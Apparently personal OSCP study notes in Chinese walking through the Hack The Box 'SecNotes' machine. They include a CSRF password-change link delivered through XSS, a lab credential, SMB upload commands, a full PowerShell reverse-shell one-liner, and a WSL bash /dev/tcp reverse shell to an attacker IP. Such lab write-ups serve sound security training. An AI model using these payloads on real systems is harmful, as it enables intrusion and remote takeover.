OSCP备考_0x50_HackThBox靶机_Windows_SecNotes
nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.243.247 (扫描TCP)
http://10.129.243.247/home.php
访问80端口后注册一个test01,发现提供用户名tyler
有可以更换密码的接口
http://10.129.243.247/change_pass.php
http://10.129.243.247/submit_note.php
存在XSS
然后就可以测试看看如果是作者发现到别人给他的note会不会去点击可以测试下
发送http的话作者会取点击 就依照这个点 去修改作者的密码 然后让我可以使用
http://10.129.243.247/change_pass.php?password=123456&confirm_password=123456&submit=submit
如果不行可能需要localhost
http://localhost/change_pass.php?password=123456&confirm_password=123456&submit=submit
登入上了发现有三个note
\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&
尝试看看使用这个去登入445获取相关资料
smbmap -H 10.129.243.247 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' -r "new-site"
iisstart.htm不就是8808端口的么。
smbclient \\\\10.129.243.247\\new-site -U tyler%'92g!mA8BGjOirkL%OG*&',上传挡案
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.16.43',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
有个BASH.LNK
dir *.exe /b/s | findstr bash
我们查看下.bash_history的内容
提权点是
wsl.exe which bash
wsl.exe bash -c "/bin/bash -i >& /dev/tcp/10.10.16.43/3333 0>&1"
登上后下载root.txt挡案